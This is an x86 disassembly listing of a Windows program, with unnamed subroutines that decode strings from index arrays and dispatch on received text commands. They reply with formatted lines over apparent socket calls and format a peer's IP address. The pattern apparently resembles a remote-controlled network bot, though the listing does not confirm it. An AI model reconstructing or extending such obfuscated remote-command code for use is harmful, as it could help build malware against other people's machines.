		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_447100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CEC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447130
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447134
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F70
		call	sub_4015D7
		push	offset dword_443D18
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443D08
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CFC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_447100
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_447108
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CEC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

